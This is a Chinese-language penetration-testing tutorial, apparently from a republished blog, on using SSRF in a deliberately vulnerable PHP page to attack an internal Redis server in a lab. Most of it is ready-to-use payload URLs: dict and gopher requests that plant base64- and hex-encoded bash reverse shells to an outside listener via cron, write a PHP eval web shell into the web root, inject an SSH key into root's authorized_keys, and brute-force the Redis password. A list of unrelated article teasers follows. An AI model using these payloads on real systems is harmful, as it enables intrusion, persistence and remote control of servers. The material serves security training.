SSRF对Redis进行内网渗透

SSRF对Redis进行内网渗透

一 环境搭建

  • 准备一台服务器,开启lampp和redis,redis只允许内网访问

image-20241202110100337

  • 使用kali进行端口扫描,扫不到6379

  • 使用kali连接redis,也连不上

image-20241202110555826

  • ssrf漏洞代码

<?php
​
    $url = $_GET['url'];
​
    // 创建一个cURL资源
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
?>

二 端口探测

http
    http://192.168.2.26/ssrf2.php?url=http://127.0.0.1:6379
dict
    http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379

image-20241202111719781

三 基于dict协议操作redis

1 查询所有的键

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/keys:*

image-20241202114416414

2 查询某个键的值

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/get:name

image-20241202114514583

3 向redis中写数据

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:age:20

image-20241202114630280

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/get:age

四 基于dict协议getshell

1 反弹shell

  • base64编码反弹shell

#bash反弹
bash  -i  >& /dev/tcp/192.168.2.32/5555  0>&1
#base64编码
YmFzaCAgLWkgID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4zMi81NTU1ICAwPiYx
​
#向redis中写入反弹shell
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * echo 'YmFzaCAgLWkgID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4zMi81NTU1ICAwPiYx'|base64 -d|bash\n\n"
​
#修改redis日志文件路径
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
​
#修改redis日志文件的名称
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
​
#进行日志持久化
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save
kali开启监听
nc -lvnp 5555 

image-20241202121552133

  • 十六进制编码反弹shell

#bash反弹
bash  -i  >& /dev/tcp/192.168.2.32/5555  0>&1

对bash反弹进行十六进制编码

image-20241202153645959

构建payload

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * \x62\x61\x73\x68\x20\x20\x2d\x69\x20\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x33\x32\x2f\x35\x35\x35\x35\x20\x20\x30\x3e\x26\x31\n\n"

十六进制编码必须使用双引号包裹

#修改redis日志文件路径
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
​
#修改redis日志文件的名称
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
​
#进行日志持久化
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save

2 写一句话木马

对一句话木马进行十六进制编码

image-20241202164014410

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x3f\x3e\n\n"

修改redis日志文件路径

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/opt/lampp/htdocs

修改redis日志文件名称

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:shell73.php

持久化

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save

3 写入公钥

1)在靶机的用户主目录创建.ssh文件夹

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * mkdir /root/.ssh\n\n"
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save

2)在kali上生成公私钥

ssh-keygen

3)向靶机写入公钥

公钥中存在特殊符号,比如+,在写入靶机是,会被转义,可以对特殊符号进行url编码绕过转义,+对应的编码是%2b
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBPUrH9xVD4/fJdM8HXx6Nevf98B0UGkrIEaW0AKDqz%2b root@kali\n\n"

还可以通过对公钥进行十六进制编码来绕过转义
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n\x73\x73\x68\x2d\x65\x64\x32\x35\x35\x31\x39\x20\x41\x41\x41\x41\x43\x33\x4e\x7a\x61\x43\x31\x6c\x5a\x44\x49\x31\x4e\x54\x45\x35\x41\x41\x41\x41\x49\x42\x50\x55\x72\x48\x39\x78\x56\x44\x34\x2f\x66\x4a\x64\x4d\x38\x48\x58\x78\x36\x4e\x65\x76\x66\x39\x38\x42\x30\x55\x47\x6b\x72\x49\x45\x61\x57\x30\x41\x4b\x44\x71\x7a\x2b\x20\x72\x6f\x6f\x74\x40\x6b\x61\x6c\x69\n\n"

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/root/.ssh
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:authorized_keys
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save

image-20241202170243160

五 基于dict协议爆破redis密码

1 给redis设置密码

image-20241202175251346

2 访问redis需要身份认证

image-20241202175416347

3 爆破redis密码

手工爆破密码

image-20241202175632915

burp爆破密码

image-20241202175937603

六 Redis的通信格式

1 环境

1 开启redis的远程访问
2 给redis设置密码
3 启动redis服务
4 网络模式改成NAT

2 kali连上redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.2.26
192.168.2.26:6379> 

3 使用Wireshark抓包

登录redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.242.131
192.168.242.131:6379> auth 123456
OK
*2				命令中单词的数量
$4				单词的长度
auth			
$6				单词的长度
123456

向redis中写数据

192.168.242.131:6379> set name woniuxy
OK
*3
$3
set
$4
name
$7
woniuxy

查询redis的数据

192.168.242.131:6379> get name
"woniuxy"
*2
$3
get
$4
name

七 基于gopher协议操作redis

1 gopher简介

gopher协议(信息查找协议),一般用来攻击redis,mysql等服务。其利用的数据格式 gopher://ip:端口/_数据,数据的前面需要有_,数据一般需要进行url编码。

2 gopher跟dict的区别

dict协议只支持单条命令,而gopher协议支持批量命令。比如针对redis操作,当redis有密码时,dict无能为力,而gopher可以很好的完成。

3 实验

1)把数据整理成一行
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$7\r\nwoniuxy\r\n
2)对数据进行url编码

注意,不能使用浏览器进行编码,可以使用AI或python代码进行url编码

%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Aname%0D%0A%247%0D%0Awoniuxy%0D%0A
3)在使用浏览器进行二次url编码

image-20241203112126548

%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%77%6f%6e%69%75%78%79%25%30%44%25%30%41
4)写入数据
http://192.168.242.131/ssrf_1.php?url=gopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%77%6f%6e%69%75%78%79%25%30%44%25%30%41

最终数据被成功写入redis

八 使用gopherus工具生成Payload

1、在kali上安装Gopherus
1 下载pip安装程序:
	curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip2.py
2 安装pip
	python2 get-pip2.py
3 在 https://github.com/tarunkant/Gopherus 上下载 zip 文件并上传至Kali上解压
4 授予install.sh可执行权限,并且执行install.sh,完成gopherus的安装
2、使用Gopherus
gopherus --exploit redis  按照提示输入相应参数,生成Redis的Payload

image-20230214012821979

在浏览器中,对payload进行URL转码,并发送请求,将完成木马植入,但是Gopherus并没有考虑Redis需要登录的情况。

image-20230214012851796

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/931939.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

面经自测——死锁/死锁的必要条件/死锁的预防/进程通信的方式

前言 本文是作者专门用来自测Java后端相关面试题的&#xff0c;所有问题都是在牛客、知识星球或网上找到的最近最新的面试题&#xff0c;全文回答都是作者按自己的真实水平仿照真实环境的回答&#xff0c;所以答案不一定真实&#xff08;但回答一定真诚&#x1f923;&#xff0…

计算机网络研究实训室建设方案

一、概述 本方案旨在规划并实施一个先进的计算机网络研究实训室&#xff0c;旨在为学生提供一个深入学习、实践和研究网络技术的平台。实训室将集教学、实验、研究于一体&#xff0c;覆盖网络基础、网络架构、网络安全、网络管理等多个领域&#xff0c;以培养具备扎实理论基础…

React开发 - 技术细节汇总一

React简介 React 是一个声明式&#xff0c;高效且灵活的用于构建用户界面的 JavaScript 库。使用 React 可以将一些简短、独立的代码片段组合成复杂的 UI 界面&#xff0c;这些代码片段被称作“组件”。 ui render (data) -> 单向数据流 MVC // model var myapp {}; // …

嵌入式蓝桥杯学习4 lcd移植

cubemx配置 复制前面配置过的文件 打开cubemx&#xff0c;将PB8,PB9配置为GPIO-Output。 点击GENERATE CODE. 文件移植 1.打开比赛提供的文件包&#xff0c;点击Inc文件夹 2.点击Inc文件夹。复制fonts.h和lcd.h&#xff0c;粘贴到我们自己的工程文件夹的bsp中&#xff08…

迭代器模式的理解和实践

引言 在软件开发中&#xff0c;我们经常需要遍历容器对象&#xff08;如数组、列表、集合等&#xff09;中的元素。如果每个容器对象都实现自己的遍历算法&#xff0c;那么代码将会变得冗余且难以维护。为了解决这个问题&#xff0c;迭代器模式应运而生。迭代器模式是一种行为型…

STM32一keil5更换芯片后报错问题的解决。

目录 一、STM32型号认识二、报错问题三、常用的启动配置文件四、问题解决 一、STM32型号认识 二、报错问题 当我们在原来工程下修改芯片时&#xff0c;原本可以编译通过的代码突然很多报错。如下所示&#xff0c;这是因为我们的启动文件配置错误。对于不同型号的芯片其flash容量…

人工智能-自动驾驶领域

目录 引言自动驾驶与人工智能的结合为什么自动驾驶领域适合发表文章博雅智信的自动驾驶辅导服务结语 引言 自动驾驶技术的崛起是当代交通行业的一场革命。通过结合先进的人工智能算法、传感器技术与计算机视觉&#xff0c;自动驾驶不仅推动了技术的进步&#xff0c;也使得未来…

c++数据结构算法复习基础--11--高级排序算法-快速排序-归并排序-堆排序

高阶排序 1、快速排序 冒泡排序的升级算法 每次选择一个基准数&#xff0c;把小于基准数的放到基准数的左边&#xff0c;把大于基准数的放到基准数的右边&#xff0c;采用 “ 分治算法 ”处理剩余元素&#xff0c;直到整个序列变为有序序列。 最好和平均的复杂度&#xff1a…

修改MySQL存储路径

1.查看原路径 show variables like ‘%datadir%’; 2.停止MYSQL 以管理员身份运行命令提示符 net stop MySQL84 在服务中直接停止MySQL 3.编辑配置文件 可能会遇到无权限修改&#xff0c;可以先修改my.ini的权限。可以通过&#xff1a;右键my.ini → 属性 → 安全→ 编辑 …

微信小程序报错:http://159.75.169.224:7300不在以下 request 合法域名列表中,请参考文档

要解决此问题&#xff0c;需打开微信小程序开发者工具进行设置&#xff0c;打开详情-本地设置重新运行&#xff0c;该报错就没有啦

深入浅出:使用 Gin 框架生成 API 文档

深入浅出&#xff1a;使用 Gin 框架生成 API 文档 在现代 Web 开发中&#xff0c;API 文档是开发者之间沟通的重要桥梁。它不仅帮助前端开发者理解如何调用后端接口&#xff0c;还为测试人员和运维人员提供了宝贵的参考。对于 Go 语言开发者来说&#xff0c;Gin 是一个非常流行…

【 工具变量】IPCC碳排放因子数据测算表

一、数据简介&#xff1a; 排放因子法是IPCC提出的一种碳排放估算方法&#xff0c;也是目前适用范围最广、应用最为普遍的方法。将各类能源消耗的实物统计量转变为标准统计量&#xff0c;再乘以各自的碳排放因子&#xff0c;加总之后就可以得到碳排放总量。如果按照ISO14064标…

兔子的寿命有多长?

在宠物的世界里&#xff0c;兔子以其灵动的身姿、柔软的皮毛和温顺的性格深受人们喜爱。然而&#xff0c;当我们满心欢喜地将兔子迎进家门时&#xff0c;可曾想过它们能陪伴我们多久&#xff1f;兔子的寿命&#xff0c;是一个值得深入探讨的话题&#xff0c;它不仅关乎生命的时…

echarts地图立体效果,echarts地图点击事件,echarts地图自定义自定义tooltip

一.地图立体效果 方法1:两层地图叠加 实现原理:geo数组中放入两个地图对象,通过修改zlevel属性以及top,left,right,bottom形成视觉差 配置项参考如下代码: geo: [{zlevel: 2,top: 96,map: map,itemStyle: {color: #091A51ee,opacity: 1,borderWidth: 2,borderColor: #16BAFA…

游戏发布AppStore平台

首先&#xff0c;要注册一个开发者账号。这里不多说了&#xff0c;下载官方app“Developer”&#xff0c;然后买个能发布的账号&#xff0c;个人&#x1f4b2;99的就行。&#xff08;其实还有点麻烦&#xff0c;我的好像是人脸识别后出问题了&#xff0c;反正遇到问题找苹果官方…

​​​​​​​移远通信基于高通平台发布可集成边缘计算功能的5G MBB解决方案

在5G技术与人工智能深度融合的背景下&#xff0c;各行各业正迎来前所未有的创新机遇。为了加速5G移动宽带&#xff08;MBB&#xff09;行业向智能化转型&#xff0c;并简化边缘计算应用的开发流程&#xff0c;移远通信近期隆重推出了基于骁龙5G调制解调器及射频系统打造&#x…

flinkSql 将流和表的互相转换

流——>表 方式一 方式二 方式一&#xff1a;写sql DataStreamSource<String> source env.socketTextStream("localhost", 8881); // 表名&#xff0c;流&#xff0c;字段名称 tableEnv.createTemporaryView("t_1",source&#xff0c;$("…

React性能优化

三个可以优化的地方 避免过度多次渲染 组件会在以下情况下重新渲染 注意&#xff1a;例如组件组合的形式&#xff0c;<Test><Counter></Counter></Test>,即使Test发生了重新渲染&#xff0c;Counter也不会重新渲染。另外使用React这样的库或框架时&a…

分布式事务的前世今生-纯理论

一个可用的复杂的系统总是从可用的简单系统进化而来。反过来这句话也正确: 从零开始设计的复杂的系统从来都用不了&#xff0c;也没办法让它变的可用。 --John Gal 《系统学》 1975 1. 事务的概念 百科&#xff1a; 事务&#xff08;Transaction&#xff09;&#xff0c;一般是…

k8s-编写CSI插件(3)

1、概述 在 Kubernetes 中&#xff0c;存储插件的开发主要有以下几种方式&#xff1a; CSI插件&#xff1a;Container Storage Interface (CSI) 是 Kubernetes 的标准插件接口&#xff0c;是全新的插件方案&#xff0c;插件和驱动调用通过grpc协议&#xff0c;功能丰富&#x…